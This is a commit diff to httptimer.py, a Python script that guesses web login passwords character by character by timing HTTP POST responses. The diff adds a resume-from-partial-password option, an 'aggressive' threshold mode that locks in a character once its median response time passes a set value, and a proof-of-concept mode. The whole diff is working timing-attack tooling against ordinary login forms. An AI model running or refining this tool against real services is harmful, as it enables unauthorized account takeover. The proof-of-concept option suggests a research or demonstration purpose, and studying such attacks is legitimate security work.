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add an aggressive mode and partially known password option #1

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18 changes: 17 additions & 1 deletion httptimer.py
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Original file line number Diff line number Diff line change
Expand Up @@ -58,6 +58,13 @@ def makerequest(guess):
totaltime += i
print "Total time to make " + str(NUMREQUESTS) + " requests for '" + c + "' was " + str(totaltime) + " seconds."

# if user wants to be aggressive, check against their threshold for every character
if VALIDTHRESHOLD:
chartimemedian = getmedian(chartimes)
if chartimemedian[c] >= VALIDTHRESHOLD:
print "Aggressive mode being used. Character took longer than threshold, assuming it's legit. Skipping other chars."
break

# get avg of chartimes
#chartimemedian = getaverage(chartimes)
chartimemedian = getmedian(chartimes)
Expand Down Expand Up @@ -139,6 +146,8 @@ def main():
parser.add_argument('-c', help='The character set to use for guessing', dest="charset", default="abcde")
parser.add_argument('-U', help="username POST parameter variable name", dest="postusername", default="username")
parser.add_argument('-P', help="password POST parameter variable name", dest="postpassword", default="password")
parser.add_argument('-G', help="A guess for the start of the password. Useful if you've cracked part of a password and don't want to reattempt those characters again.", dest="guesspassword", default="")
parser.add_argument('-A', help="Aggressive mode, which will assume a character is correct if it takes longer than a certain threshold average.", dest="threshold", default=False)
parser.add_argument('--poc-password', help="The known password. This is to run the application in proof-of-concept mode to count the number of failed attempts before a succesful timing attack is performed", dest="poc", default=False)

args = parser.parse_args()
Expand All @@ -164,6 +173,13 @@ def main():
USERNAMEPOSTPARAM = args.postusername
PASSWORDPOSTPARAM = args.postpassword

# setup threshold var. if not defined, value set to false
if args.threshold:
VALIDTHRESHOLD = float(args.threshold)
else:
VALIDTHRESHOLD = False

print "KNOWNPASSWORD type is " + str(type(KNOWNPASSWORD))

main()
# give the guesspassword arg. if user didn't specify, an empty string will be passed
main(args.guesspassword)